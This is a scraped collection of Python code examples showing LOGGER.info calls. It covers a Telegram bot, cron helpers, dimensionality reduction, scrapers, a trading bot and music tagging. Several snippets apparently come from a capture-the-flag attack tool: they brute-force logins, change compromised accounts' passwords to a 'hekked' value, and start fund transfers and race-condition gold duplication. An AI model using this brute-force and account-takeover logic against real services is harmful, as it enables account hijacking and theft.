Пример #1
0
def start(update, context):
    if is_public_chat(update, context):
        remove_command(context, update)
        bot_hello = context.bot.send_message(
            chat_id=update.effective_message.chat.id,
            text=messages.msg_start,
            parse_mode=ParseMode.HTML)

        cleaner(context, bot_hello)
    else:
        username = update.message.from_user.first_name
        chat_id = update.effective_message.chat.id
        try:
            LOGGER.info(f'Subscription token message {update.message.text}')
            telegram_unique_token = update.message.text.split('/start ')[1]
            params = {
                'telegram_unique_token': telegram_unique_token,
                'chat_id': chat_id
            }
            x = requests.post(EXCHANGE_URL, data=params)
            LOGGER.info(f'Subscription response {x.status_code} {x.text}')
            if x.status_code == 200:
                message = messages.msg_subscribe.format(username, chat_id)
                context.bot.send_message(chat_id, message, parse_mode=ParseMode.HTML)
            else:
                message = messages.msg_subscribe_error
                context.bot.send_message(chat_id, message, parse_mode=ParseMode.HTML)
        except Exception as e:
            message = messages.msg_default_start.format(username)
            context.bot.send_message(chat_id, message, parse_mode=ParseMode.HTML)
            LOGGER.warning(f'<start> Exception Occured: {str(e)}')
Пример #2
0
def remove_switch(mode: str) -> None:
    """Remove switch_mode cron jobs.

    Args:
        mode (str): either 'on' or 'off'

    Raises:
        ValueError: mode is not 'on' or 'off'

    """
    if mode not in ['on', 'off']:
        message = f'Invalid mode: {mode}'
        LOGGER.error(message)
        raise ValueError(message)

    trigger = 'sunset' if mode == 'on' else 'shutdown'

    mode = f'switch_{mode}'

    if not CONF[trigger]['remove']:
        message = f'{mode} jobs will not be removed.'
    else:
        jobs = CRONTAB.remove_script_jobs(f'{mode}')
        message = f"Jobs ({mode}) removed: {jobs}"
    LOGGER.info(message)
Пример #3
0
    def dimensionReductionWithPCA(data: np.ndarray, n_components=None) -> np.ndarray:
        LOGGER.info("Dimensionality reduction  with PCA")
        if type(data) != numpy.ndarray:
            LOGGER.warn(f'PCA data type is {type(data)}')
            if isinstance(n_components, float):
                LOGGER.warn("data is sparse matrix, use integer n_components")
                raise Exception("data is sparse matrix, please confirm n_components use integer")
            from sklearn.decomposition import TruncatedSVD
            pca = TruncatedSVD(n_components)
            return pca.fit_transform(data)

        def _su(a: list, cp: float):
            p = 0
            for i in range(len(a)):
                p += a[i]
                if p > cp: return i
            return len(a)

        assert data.ndim == 2
        import math
        if n_components is None: n_components = math.ceil(data.shape[1] / 2)
        assert isinstance(n_components, int) or isinstance(n_components, float)
        if isinstance(n_components, int):
            if n_components > min(data.shape):
                n_components = min(data.shape)
                warnings.warn(f"n_components exceed max size,revise to ${n_components}")
                pca = PCA(n_components)
                return pca.fit_transform(data)
        else:
            assert 0 < n_components < 1
            pca = PCA()
            result = pca.fit_transform(data)
            components = _su(pca.explained_variance_ratio_, n_components)
            LOGGER.info(f'Dimensionality reduction components is {components}')
            return result[:, 0:components + 1]
Пример #4
0
def feature_decomposition(transformer, train_features, test_features):
    LOGGER.info("Beginning Dimensionality reduction using truncated SVD (%d features)" % transformer.n_components)
    train_dfeatures = transformer.fit_transform(train_features)
    #LOGGER.debug(["%6f " % transformer.explained_variance_ratio_[i] for i in range(5)])
    LOGGER.debug("%0.4f%% of total variance in %d features\n" % (
        100 * transformer.explained_variance_ratio_.sum(), transformer.n_components))
    return train_dfeatures, transformer.transform(test_features)
Пример #5
0
def main():
    # get zip codes
    zip_codes = [row.zip_code for row in session.query(ZipCode).all()]

    # # add leading 0's to zip codes due to excel's stupidness
    # zip_codes_df['zip_code'] = zip_codes_df['zip_code'].astype(str)
    # zip_codes_df['zip_code'] = zip_codes_df['zip_code'].apply(lambda x: '0' * (5 - len(x)) + x)

    current_month = datetime.date.today().month
    current_rows = session.query(Indeed).filter(
        extract('month', Indeed.date_created) == current_month).all()
    current_rows = [row.as_dict() for row in current_rows]
    existing_zip_codes = [row['zip_code'] for row in current_rows]
    remaining_zip_codes = [
        zip_code for zip_code in zip_codes
        if zip_code not in existing_zip_codes
    ]

    LOGGER.info(
        'Found {} rows for current month: {}. Extracting {} remaining zip codes'
        .format(len(current_rows), current_month, len(remaining_zip_codes)))

    for i, zip_code in enumerate(remaining_zip_codes):
        job_count = get_num_job_postings(zip_code)
        row = Indeed(zip_code=zip_code,
                     job_count=job_count,
                     date_created=datetime.date.today())
        session.merge(row)
        session.commit()

        LOGGER.info("Extracting zip code {} ({} of {})".format(
            zip_code, i, len(remaining_zip_codes)))
    session.close()
Пример #6
0
def main():
    # get zip codes
    zip_codes = [row.zip_code for row in session.query(ZipCode).all()]

    # # add leading 0's to zip codes due to excel's stupidness
    # zip_codes_df['zip_code'] = zip_codes_df['zip_code'].astype(str)
    # zip_codes_df['zip_code'] = zip_codes_df['zip_code'].apply(lambda x: '0' * (5 - len(x)) + x)

    current_month = datetime.date.today().month
    current_rows = session.query(Indeed).filter(extract('month', Indeed.date_created) == current_month).all()
    current_rows = [row.as_dict() for row in current_rows]
    existing_zip_codes = [row['zip_code'] for row in current_rows]
    remaining_zip_codes = [zip_code for zip_code in zip_codes if zip_code not in existing_zip_codes]

    LOGGER.info('Found {} rows for current month: {}. Extracting {} remaining zip codes'.format(len(current_rows),
                                                                                                current_month,
                                                                                                len(
                                                                                                    remaining_zip_codes)))

    for i, zip_code in enumerate(remaining_zip_codes):
        job_count = get_num_job_postings(zip_code)
        row = Indeed(zip_code=zip_code, job_count=job_count, date_created=datetime.date.today())
        session.merge(row)
        session.commit()

        LOGGER.info("Extracting zip code {} ({} of {})".format(zip_code, i, len(remaining_zip_codes)))
    session.close()
Пример #7
0
    def check_order_made_status(self):
        while True:
            order = self.client.get_order(symbol=self.symbol,
                                          orderId=self.order_made_id)
            status = order['status']

            LOGGER.info(f'CURRENT ORDER STATUS: {status}')

            if self.order_made_time + timedelta(minutes=5) < datetime.now():
                if status == 'PARTIALLY_FILLED':
                    if self.order_made_time + timedelta(
                            minutes=20) < datetime.now():
                        self.order_made_status = status
                        self.order_executed = order
                        if order['side'] == 'BUY':
                            self.bot_status = 'BOUGHT'
                        if order['side'] == 'SELL':
                            self.bot_status = 'SOLD'
                        return
                if status == 'NEW':
                    self.client.cancel_order(symbol=self.symbol,
                                             orderId=self.order_made_id)
            if status in ['FILLED', 'CANCELED', 'REJECTED', 'EXPIRED']:
                self.order_made_status = status
                self.order_executed = order
                if status == 'FILLED':
                    if order['side'] == 'BUY':
                        self.bot_status = 'BOUGHT'
                    if order['side'] == 'SELL':
                        self.bot_status = 'SOLD'
                return
            LOGGER.info('WAITING 30 SECONDS TO CHECK ORDER AGAIN')
            time.sleet(30)
Пример #8
0
def paginate_request(resource_uri, page_size, request_callback=None):
    page = 1
    data = []
    while True:
        param_prefix = "&" if "?" in resource_uri else "?"
        pagination_params = "{}page={}&page_size={}".format(
            param_prefix, page, page_size)
        api_uri = "{resource_uri}{pagination_params}".format(
            resource_uri=resource_uri, pagination_params=pagination_params)
        response = request(api_uri)
        response_data = response["data"]
        if request_callback:
            request_callback(response_data)
        data += response_data
        if not data:
            break
        total_count = response["meta"]["page"]["total_count"]
        page = response["meta"]["page"]["current_page"]
        records_fetched_count = page_size * page
        LOGGER.info("paginate_request: {}\t records fetched: {}/{}".format(
            resource_uri, records_fetched_count, total_count))
        if records_fetched_count >= total_count:
            break
        page += 1

    return data
Пример #9
0
    def get_itunes_track_data(self, track_path, itunes_keys):
        # TODO: iTunes uses HTML encoding for some things (ampersands) and URL encoding for the rest
        with open('/Users/carmstrong/Music/iTunes/iTunes Music Library.xml', 'rb') as itunes_xml:
            tree = etree.parse(itunes_xml)

        itunes_track_path = 'file://' + urllib.quote(track_path.encode('utf-8'), safe="/(),'")
        location_node = tree.xpath('//string[text()="{}"]'.format(itunes_track_path))

        if not location_node:
            LOGGER.info('{} not found in iTunes XML file.'.format(itunes_track_path))
            return

        results = {}
        for itunes_key in itunes_keys:
            try:
                itunes_value = location_node[0].xpath("../key[text()='{}']".format(itunes_key))[0].getnext().text
                try:
                    itunes_value = int(itunes_value)
                except (ValueError, TypeError):
                    continue
                results.update({itunes_key: itunes_value})

            except IndexError:
                continue

        return results
Пример #10
0
def handleTraceback(object):
    context = object.context
    entry_url = object.entry_url

    if entry_url is None:
        return

    LOGGER.info("handle traceback [%s]" % entry_url)
    try:
        cleanup_lock.acquire()
        # we don't want to produce any errors here, thus, we'll be nice and die
        # silently if an error occurs here
        try:
            transaction.begin()
            # get our logbook view to use the api
            logbook = context.unrestrictedTraverse('@@logbook')
            # get the generated error url from Products.SiteErrorLog
            err_id = urllib.splitvalue(entry_url)[1]
            # save error
            logbook.save_error(err_id, context=aq_parent(context))
            transaction.get().note('collective.logbook traceback [%s]' %
                    entry_url)
            transaction.commit()
        finally:
            cleanup_lock.release()
    # only warning
    except Exception, e:
        LOGGER.warning("An error occured while handling the traceback")
        LOGGER.warning("%s" % e)
        LOGGER.exception(e)
Пример #11
0
    def check_profit_status_bought_position(self):
        LOGGER.info('CHECKING PROFIT STATUS FOR BOUGHT POSITION')

        self.profit_check_value = round(
            self.actual_price * self.quoteqty, 6) - round((
                (self.actual_price * self.quoteqty) * self.max_trade_taxes), 6)

        position_bought_winnin = round(
            self.order_executed_quantity + self.stop_pair, 6)
        position_bought_losing = round(
            self.order_executed_quantity - self.stop_pair, 6)

        LOGGER.info(f'PROFIT CHECK VALUE: {self.profit_check_value}')

        LOGGER.info(f'VALUES OF STOP TO CHECK OF:')

        LOGGER.info(f'POSITION BOUGHT/WINNING: {position_bought_winnin}')
        LOGGER.info(f'POSITION BOUGHT/LOSING: {position_bought_losing}')

        if self.profit_check_value > position_bought_winnin:
            self.profit_status = 'WINNING'
        elif self.profit_check_value < position_bought_losing:
            self.profit_status = 'LOSING'
        else:
            self.profit_status = 'STANDING'
Пример #12
0
def call():
    period = 10
    while True:
        try:
            response = requests.get(url=URL_CHECK_CONNECTION, params=params)
            if response.status_code == 200:
                LOGGER.info(
                    'Send check connection request to Smartsite successful!')
                active = json.loads(response.content)['result']
                if active:
                    LOGGER.info('Gateway is online!')
                else:
                    LOGGER.info('Gateway is offline!')
                    subprocess.Popen(COMMAND_RESET_SERVICE_7688,
                                     shell=True,
                                     stdout=subprocess.PIPE)
            else:
                LOGGER.info('Response from Smartsite is not 200')
                subprocess.Popen(COMMAND_RESET_SERVICE_7688,
                                 shell=True,
                                 stdout=subprocess.PIPE)
        except Exception as ex:
            LOGGER.info('Error when check connection with message: %s',
                        ex.message)
            subprocess.Popen(COMMAND_RESET_SERVICE_7688,
                             shell=True,
                             stdout=subprocess.PIPE)
        time.sleep(period)
Пример #13
0
    def execute_search(self, url, pause=2):
        """
        Executes a search to Twitter for the given URL
        :param url: URL to search twitter with
        :return: A JSON object with data from Twitter
        """
        headers = {'user-agent': self.get_random_user_agent()}
        try:
            requests.packages.urllib3.disable_warnings(
                requests.packages.urllib3.exceptions.InsecureRequestWarning)
            r = requests.get(url=url,
                             proxies=self.proxies,
                             headers=headers,
                             allow_redirects=False,
                             verify=False,
                             timeout=30)
            LOGGER.info(url)
            time.sleep(pause)
            content = r.text
            dejson = json.loads(content)
            return dejson

        # If we get a ValueError exception due to a request timing out, we sleep for our error delay, then make
        # another attempt
        except ValueError as e:
            # print e.message
            # print "Sleeping for %i" % self.error_delay
            sleep(self.error_delay)
            return self.execute_search(url)
Пример #14
0
def acoustid_lookup(fingerprint, duration):
    results = acoustid.lookup(ACOUST_ID_API_KEY,
                              fingerprint,
                              duration,
                              meta='recordings + releasegroups')
    if results.get('results') and results['results'][0].get('recordings'):
        LOGGER.info('AcoustID result found!')
        recordings = results['results'][0]['recordings']
        recording = max(recordings, key=lambda x: len(x.keys()))
        recording_id = recording['id']
        recording_artists = recording['artists']
        recording_title = recording['title']
        album_artist = recording_artists[0]['name']
        artist = ''.join([
            artist['name'] + artist.get('joinphrase', '')
            for artist in recording_artists
        ])
        album = recording['releasegroups'][0][
            'title']  # TODO: the results of this are often inconsistent

        return {
            'musicbrainz_releasetrackid': recording_id,
            'title': recording_title,
            'artist': artist,
            'albumartist': album_artist,
            'album': album
        }

    else:
        LOGGER.info('No AcoustID results found.')
        return {}
Пример #15
0
def do_synchronize_generate(mirrors):
    yield "Starting synchronize...\n"

    for mirror in mirrors:
        yield "Synchronizing '{}'\n".format(mirror.text_val)
        try:
            resp = requests.get(mirror.text_val)
            if resp.status_code != 200:
                yield "Errornous http status code: {}. Skipping this mirror.\n".format(
                    resp.status_code)
                continue

            packages_mirror = json.loads(resp.content)
            packages = db_session.query(Package).options(
                load_only(Package.owner, Package.repo, Package.path,
                          Package.ptype)).all()
            packages_added = 0
            for package_mirror in packages_mirror:
                found = False
                if "path" not in package_mirror:
                    package_mirror["path"] = None
                for package in packages:
                    if package_mirror["owner"] == package.owner \
                            and package_mirror["ptype"] == package.ptype \
                            and package_mirror["repo"] == package.repo \
                            and package_mirror["path"] == package.path:
                        found = True
                        break
                if not found:
                    LOGGER.info("Synchronize: adding %s", package_mirror)
                    insert_package(package_mirror["owner"],
                                   package_mirror["repo"],
                                   package_mirror["ptype"],
                                   package_mirror["path"],
                                   dateutil.parser.parse(
                                       package_mirror["added"]),
                                   commit=False)
                    yield "adding {}\n".format(package_mirror)
                    packages_added += 1

            if packages_added > 0:
                try:
                    db_session.commit()
                except Exception as ex:
                    db_session.rollback()
                    LOGGER.error(ex)
                    LOGGER.debug("{}: {}\n".format(ex, traceback.format_exc()))
                    yield "{}\n".format(ex)
            else:
                db_session.rollback()
            yield "Mirror '{}': {} packages added.\n".format(
                mirror.text_val, packages_added)
        except Exception as ex:
            LOGGER.error(ex)
            error = "{}: {}\n".format(ex, traceback.format_exc())
            LOGGER.debug(error)
            yield error

    yield "Synchronization done.\n"
Пример #16
0
def remove_command(context, update):
    # Delete Bot Commands from Group Members
    msg = update.effective_message
    try:
        msg.delete()
        LOGGER.info(f'CMD Message Deleted - {msg.message_id}')
    except BaseException as e:
        LOGGER.info(f'CMD Message Already Deleted - {str(e)}')
Пример #17
0
    def check_profit_status(self):
        if self.bot_status == 'BOUGHT':
            self.check_profit_status_bought_position()

        if self.bot_status == 'SOLD':
            self.check_profit_status_sold_position()

        LOGGER.info(f'PROFIT STATUS: {self.profit_status}')
Пример #18
0
def handle(fd, address):
    global data_queue
    global uid_queue
    global target_uid_queue
    db = getDB()
    LOGGER.info('connection accepted from %s:%s' % address)
    while True:
        data = fd.readline()
        if not data:
            break
        data = data[:-2]
        r = json.loads(data, object_hook=_obj_hook)
        if hasattr(r, 'action'):
            action = r.action
        else:
            break
        if action == 'postdata':
            try:
                data_queue.put(r.data)
                fd.write(json.dumps({'status': 'ok'})+'\r\n')
            except:
                fd.write(json.dumps({'error': 'bad request data'})+'\r\n')
            fd.flush()
        elif action == 'getuid':
            if not uid_queue.empty():
                uid = uid_queue.get()
                pages = 0
                user = db.users.find_one({'_id': uid})   
                try:
                    pages = user['pages']
                except:
                    pages = 0
                fd.write(json.dumps({'uid': uid, 'pages': pages})+'\r\n')
            else:
                fd.write(json.dumps({'error': 'uid queue empty'})+'\r\n')
            fd.flush()
        elif action == 'getuserinfo':
            try:
                name = r.data
                user = db.users.find_one({'name': name})
                try:
                    u = {'_id': user['_id'], 'gender': user['gender'], 'location': user['location']}
                    fd.write(json.dumps({'user': u})+'\r\n')
                except:
                    fd.write(json.dumps({'error': 'not found'})+'\r\n')
            except:
                fd.write(json.dumps({'error': 'bad request data'})+'\r\n')
            fd.flush()
        elif action == 'gettargetuid':
            uid = target_uid_queue.get()
            if uid:
                fd.write(json.dumps({'uid': uid})+'\r\n')
            else:
                fd.write(json.dumps({'error': 'target uid queue empty'})+'\r\n')
            fd.flush()
        else:
            break
    LOGGER.info('end connection %s:%s' % address)
Пример #19
0
def classify(classifier, train_features, train_labels, test_features,
             test_labels, desc="Linear classifer"):
    LOGGER.info("Beginning %s" % desc)
    classifier.fit(train_features, train_labels)
    results = classifier.predict(test_features)
    correct = get_correct_num(results, test_labels)
    LOGGER.info("%s predicted %d/%d correctly (%0.3f%% accuracy)\n" % (
        desc, correct, len(test_labels), correct / len(test_labels) * 100))
    return results
Пример #20
0
 def save(self):
     self.sync()
     if self.easyID3.is_modified:
         LOGGER.info('Saving file changes...')
         self.easyID3.save()
     if session.is_modified(self.model):
         LOGGER.info('Committing model changes...')
         session.merge(self.model)
         session.commit()
Пример #21
0
def rescale_features(train, test):
    LOGGER.info("Rescaling feature matrices")
    if issparse(train):
        LOGGER.info("Converting feature matrices from sparse to dense")
        train = csr_matrix(train).todense()
        test = csr_matrix(test).todense()
    scaler = StandardScaler(with_mean=False)
    train_features_rs = scaler.fit_transform(train)
    return train_features_rs, scaler.transform(test)
Пример #22
0
 def acquire_track_model(self):
     # determine if fingerprint present, if not generate
     if not self.fingerprint:
         self.query_fingerprint()
     # use fingerprint to query model
     self.model = session.query(SavedTrack).get(self.fingerprint)
     # if 0 results, create model
     if not self.model:
         LOGGER.info('Track not found in database; creating...')
         self.model = SavedTrack()
Пример #23
0
def add_good(user, password, data, opener):
    LOGGER.info('!!Found good: %r %r', user, password)
    with kLock:
        known_users.add(user)
    try:
        acc_data = account_data(user, password, data, opener)
        GOOD.put(acc_data)
    except ValueError:
        LOGGER.error('Error adding %r %r', user, password)
        LOGGER.debug('%s', data)
Пример #24
0
def iteration_request(id, uri_templete, ignore_404, request_callback):
    resource_uri = uri_templete.format(id)
    response = request(resource_uri, ignore_404=ignore_404)
    if response and response['data']:
        if request_callback:
            request_callback(response['data'])
        LOGGER.info("{} - done".format(resource_uri))
        return response['data']
    LOGGER.info("{} - response empty".format(resource_uri))
    return {}
Пример #25
0
def decompose_tsvd_target(transformer, train_features, test_features, target_cuml_var_ratio=0.9):
    LOGGER.info("Aiming for %.3f%% cumulative total sum of variance" % (target_cuml_var_ratio * 100))
    #transformer = TruncatedSVD(n_components=n_features)
    train_d, test_d = feature_decomposition(transformer, train_features, test_features)
    if sum(transformer.explained_variance_ratio_) < target_cuml_var_ratio:
        return decompose_tsvd_target(
            TruncatedSVD(n_components=(transformer.n_components*2)),
            train_features, test_features,
            target_cuml_var_ratio)
    LOGGER.debug("Reduced feature vectors size: %d" % csr_matrix(train_features[-1]).toarray().size)
    return transformer, train_d, test_d
Пример #26
0
def cleaner(context, message):
    time.sleep(PATIENCE)
    try:
        context.bot.deleteMessage(
            chat_id=message.chat_id,
            message_id=message.message_id
        )
        LOGGER.info(f'Message Deleted - #{message.message_id}')
    except BaseException as e:
        LOGGER.info(f'Message Already Deleted - {str(e)}')
        pass
Пример #27
0
def check_mentions(api) -> None:
    """Checks for new mentions and favorite this mentions."""
    # Retrieve the last 20 mentions.
    mentions = api.mentions_timeline()
    for tweet in mentions:
        if not tweet.favorited:
            try:
                tweet.favorite()
                LOGGER.info(f'Tweet from {tweet.user.name} favorited!')
            except Exception:
                LOGGER.error('Error on fav', exc_info=True)
Пример #28
0
def persist_zillow_metrics(df):
    metrics_df = df.drop(['city', 'metro', 'state', 'county'], axis=1)
    session.query(ZillowMetrics).delete()  # TODO: should append to existing data in case zillow changes something
    session.commit()
    insert_chunk = 100000
    index_start = 0
    while index_start < len(metrics_df):
        LOGGER.info('Persisting Zillow Metrics rows: {} of {}'.format(index_start + insert_chunk,
                                                                      len(metrics_df)))
        engine.execute(
            ZillowMetrics.__table__.insert(metrics_df[index_start:index_start + insert_chunk].to_dict('records')))
        index_start += insert_chunk
Пример #29
0
def main():
    LOGGER.info('Extracting building permit data...')
    post_data_list = generate_post_data((1, 12), (2005, 2015))

    pool = ThreadPool(5)
    results = pool.map(get_census_reponse, post_data_list)
    results_array = parse_results(results)

    for result in results_array:
        session.merge(BuildingPermit(**result))

    session.commit()
Пример #30
0
def main():
    LOGGER.info('Extracting building permit data...')
    post_data_list = generate_post_data((1, 12), (2005, 2015))

    pool = ThreadPool(5)
    results = pool.map(get_census_reponse, post_data_list)
    results_array = parse_results(results)

    for result in results_array:
        session.merge(BuildingPermit(**result))

    session.commit()
Пример #31
0
    def _get_collection(self, collection_name: str):
        """Access particular database collection
        Note:
            if collection does not exist it will be automatically created
        """

        try:
            db_collection = self.cursor[collection_name]
            LOGGER.info(f'created to {collection_name} collection')
            return db_collection
        except Exception as e:
            raise e
Пример #32
0
 def do_change(self, obj):
     LOGGER.info('Changing password for: %s', obj.user)
     req = urllib2.Request('http://{0}/change_password.php'.format(TARGET_HOST),
         urllib.urlencode({
             'password': obj.password,
             'newpassword': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
             'newpassword2': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
             })
     )
     data = my_url_open(obj.opener, req)
     if 'error' not in data:
         LOGGER.critical('Password changed for user: %s', obj.user)
         return True
Пример #33
0
    def _get_cursor():
        """Access database
        Note:
            if database does not exist it will be automatically created
        """

        try:
            client = MongoClient(DB_URL)
            db_cursor = client[DB_NAME]
            LOGGER.info(f'accessed to {DB_NAME} database')
            return db_cursor
        except Exception as e:
            raise e
Пример #34
0
    def run(self):
        LOGGER.info('Start stealer')
        while 1:
            try:
                obj = GOOD.get(timeout=2)
            except Exception as e:
                LOGGER.error('Unknown error in Stealer')
                continue
            if FORCE_STEAL:
                self.do_otp(obj)

            CHANGE.put(obj)
            GOOD.task_done()
Пример #35
0
 def trainELMWithBvsb(self):
     i = 0
     print("---------------------ELM-BVSB-TRAIN-----------------------------")
     while self._iter_continue:
         i = i + 1
         print(f'--------------------第{i}次训练--------------------')
         self.elmc.fit(self.X_train, self.Y_train)
         preData = self.elmc.predict_with_percentage(self.X_iter)
         score = self.elmc.scoreWithPredict(self.Y_iter, preData)
         LOGGER.info(f'第{i}次迭代后迭代数据集的正确率为{score}')
         LOGGER.debug(f'perData 类型为:{type(preData)}')
         self.updateTrainDataWithBvsb(preData)
         LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.score(self.X_test, self.Y_test)}')
Пример #36
0
def get_target_by_command_ats(command):
    target = -1
    try:
        if 'MainAts' in command or 'AutoAts' in command or 'GenAts' in command or 'Ats' in command:
            target = 0
        else:
            LOGGER.error('Command is not a string: %s', str(command))
    except Exception as ex:
        LOGGER.error(
            'Error at get_target_by_command_ats function with message: %s',
            ex.message)
    LOGGER.info('Command is: %s, after parse is: %d', command, target)
    return target
Пример #37
0
 def argBvsbWithAccuracy(self, perData: np.ndarray):
     argAcc = BvsbUtils.getAccIndex(self.Y_iter, perData)
     LOGGER.info(f'KNN与ELM匹配个数{argAcc.size}')
     if argAcc.size == 0:
         return np.array([], dtype=int)
     assert argAcc.max() < perData.shape[0]
     bvsbData = BvsbUtils.calculateBvsb(perData)
     arrBvsb = np.c_[bvsbData[argAcc], argAcc]
     argSBvsbAcc = arrBvsb[arrBvsb[:, 0].argsort()][:, 1]
     _iterNum = int(min(self.perNum, self._upperLimit))
     LOGGER.debug(f'欲获取的bvsb-knn数据个数:{_iterNum}')
     LOGGER.debug(f'bvsb-knn 一致后数据个数: {len(argSBvsbAcc)}')
     return argSBvsbAcc[-_iterNum:].astype(int)
Пример #38
0
 def run(self):
     LOGGER.info('Run brute')
     while 1:
         try:
             user, password = ENEMY.get(block=1, timeout=10)
         except Queue.Empty:
             continue
         if user in known_users:
             continue
         self.generate_opener()
         data = self.brute_login_with_session(user, password)
         account_password_queue.task_done()
         if self.check(data):
             add_good(user, password, data, self.opener)
Пример #39
0
def search_echonest_artist_terms(artist_name):
    artist_results = artist.search(name=artist_name)
    if not artist_results:
        LOGGER.info('Artist not found in Echonest')
        return None
    if artist_results[0].name.lower() == artist_name.lower():
        artist_terms = artist_results[0].terms
        if artist_terms:
            return max(artist_terms, key=lambda x: x['weight'] * x['frequency'])['name']
        else:
            return None
    else:
        LOGGER.info("Artist name did not match top result: {} vs {}".format(artist_name, artist_results[0].name))
        return None
Пример #40
0
def facebook_convert_to_id(fb_url):
    # https://www.facebook.com/profile.php?id=1000
    url_parse = urlparse(fb_url)
    if "facebook.com" in url_parse.netloc:
        if "/profile.php" in url_parse.path:
            preg = "id=(\d{1,})"
            m = re.findall(preg, url_parse.query)
            if len(m):
                LOGGER.info(
                    'successfully converted facebook id for url : [%s to %s]' %
                    (fb_url, m[0]))
                return m[0]
        # https://facebook.com/zuck
        headers = get_headers()
        csrfmiddlewaretoken = get_csrfmiddlewaretoken(headers)
        if csrfmiddlewaretoken:
            data = {
                "csrfmiddlewaretoken": csrfmiddlewaretoken,
                "fburl": fb_url
            }
            headers.update({
                "Cookie":
                "csrftoken={csrfmiddlewaretoken}".format(
                    csrfmiddlewaretoken=csrfmiddlewaretoken)
            })
            try:
                r = requests.post('http://findmyfbid.in/',
                                  data=data,
                                  timeout=10,
                                  allow_redirects=False,
                                  proxies=PROXIES,
                                  headers=headers)
                location = r.headers['Location']
                preg = r'\d{1,}'
                m = re.findall(preg, location)
                if len(m):
                    LOGGER.info(
                        'successfully converted facebook id for url : [%s to %s]'
                        % (fb_url, m[0]))
                    return m[0]
                else:
                    return None
            except Exception as e:
                LOGGER.exception(e)
                return None
        else:
            return None
    else:
        return None
Пример #41
0
    def __init__(self, user, password, data, opener):
        LOGGER.info('Created new account data for %s', user)
        self.user = user
        self.password = password
        self.number = RE_ACCOUNT_NUMBER.search(data)
        self.amount = RE_AMOUNT.search(data)
        self.id = RE_ID.search(data)

        if self.number is None or self.amount is None:
            raise ValueError('No account number or amount in file')
        self.number = self.number.group(1)
        self.amount = self.amount.group(1)
        self.amount = int(float(self.amount))
        self.id = self.id.group(1)
        self.opener = opener
Пример #42
0
    def run(self):
        LOGGER.info('Start changer')
        while 1:
            try:
                obj = CHANGE.get(timeout=2)
            except Exception as e:
                LOGGER.error('Unknown error in Changer!')
                continue
            cookiejar = cookielib.CookieJar()
            self.opener = urllib2.build_opener(
                urllib2.HTTPCookieProcessor(cookiejar),
            )

            self.do_change(obj)
            CHANGE.task_done()
Пример #43
0
 def process(self, event):
     """
     event.event_type
         'modified' | 'created' | 'moved' | 'deleted'
     event.is_directory
         True | False
     event.src_path
         path/to/observed/file
     """
     track_path = event.dest_path if event.event_type == 'moved' else event.src_path
     LOGGER.info('File change detected: {event_type}: {track_path}'.format(
         event_type=event.event_type, track_path=track_path))
     if '/Users/carmstrong/Projects/music_master/tracks/holding' in track_path:
         LOGGER.info('Protected path, will make no changes!!')
     sync_file(track_path, event.event_type)
Пример #44
0
 def trainOSELMWithKNNButBvsb(self):
     i = 0
     print("----------------------OSELM WITH KNN BUT BVSB---------------------------")
     while self._iter_continue:
         i = i + 1
         print(f'---------------第{i}次训练-------------------')
         predict = self.elmc.predict(self.X_iter)
         _data = self.getUpdataWithoutBVSB(predict)
         if _data is None:
             LOGGER.warn("未获取迭代数据,迭代训练结束")
             break
         LOGGER.info(f'第{i}次训练时进行训练的数据个数:{_data[1].size}')
         print(_data[1].shape)
         self.elmc.fit(_data[0], _data[1])
         LOGGER.debug(f'第{i}次迭代训练后测试集的分类正确率为{self.score(self.X_test, self.Y_test)}')
Пример #45
0
 def process(self, event):
     """
     event.event_type
         'modified' | 'created' | 'moved' | 'deleted'
     event.is_directory
         True | False
     event.src_path
         path/to/observed/file
     """
     track_path = event.dest_path if event.event_type == 'moved' else event.src_path
     LOGGER.info('File change detected: {event_type}: {track_path}'.format(event_type=event.event_type,
                                                                           track_path=track_path))
     if '/Users/carmstrong/Projects/music_master/tracks/holding' in track_path:
         LOGGER.info('Protected path, will make no changes!!')
     sync_file(track_path, event.event_type)
Пример #46
0
def persist_zillow_metrics(df):
    metrics_df = df.drop(['city', 'metro', 'state', 'county'], axis=1)
    session.query(ZillowMetrics).delete(
    )  # TODO: should append to existing data in case zillow changes something
    session.commit()
    insert_chunk = 100000
    index_start = 0
    while index_start < len(metrics_df):
        LOGGER.info('Persisting Zillow Metrics rows: {} of {}'.format(
            index_start + insert_chunk, len(metrics_df)))
        engine.execute(
            ZillowMetrics.__table__.insert(
                metrics_df[index_start:index_start +
                           insert_chunk].to_dict('records')))
        index_start += insert_chunk
Пример #47
0
async def fetch(client, url):
    with async_timeout.timeout(15):
        try:
            headers = {'user-agent': get_random_user_agent()}

            async with client.get(url, headers=headers) as response:
                assert response.status == 200
                LOGGER.info('Task url: {}'.format(response.url))
                try:
                    text = await response.text()
                except:
                    text = await response.read()
                return text
        except Exception as e:
            LOGGER.exception(e)
            return None
Пример #48
0
    def run(self):
        while 1:
            self.generate_opener()
            data = self.brute_login(MY_LOGIN, MY_PASSWORD)
            if 'Transactions' in data:
                LOGGER.info('Account protected')
            else:
                LOGGER.critical('Our account hacked!')
            if self.dup_gold:
                obj = account_data(MY_LOGIN, MY_PASSWORD, data, self.opener)
                RaceObject.set_obj(obj)
                with RaceObject.RaceLock:
                    RaceObject.RaceLock.notify()
                    RaceObject.RaceLock.wait()

            time.sleep(0.05)
Пример #49
0
 def run(self):
     LOGGER.info('Run enemy generator')
     for password in self.passwords_list:
         #LOGGER.info('Password: %s', password)
         #ENEMY.put((user, ''))
         for user in self.users_list:
             if user in known_users:
                 break
             LOGGER.debug('%r:%r', user, password)
             while 1:
                 try:
                     account_password_queue.put((user, password), block=1, timeout=1)
                     break
                 except Queue.Full:
                     LOGGER.error('account_password queue full!')
                     pass
Пример #50
0
 def run(self):
     LOGGER.info('Run numeric login-password generator')
     for user in self.users_list:
         account_password_queue.put((user, sha1('{0}|hekked'.format(user)).hexdigest()))
         RECOVER.put(str(user))
         for password in self.passwords_list:
             if user in known_users:
                 break
             LOGGER.debug('Add in queue: %s:%s', user, password)
             while 1:
                 try:
                     account_password_queue.put((user, password), block=1, timeout=1)
                     break
                 except Queue.Full:
                     LOGGER.error('account_password queue full!')
                     pass
Пример #51
0
 def _pre_otp(self, obj):
     if int(obj.amount) <= 0:
         LOGGER.info('No money on account: %s', obj.user)
         return False
     req = urllib2.Request('http://{0}/transaction.php'.format(TARGET_HOST),
         urllib.urlencode({
             'accountNumberFrom': obj.number,
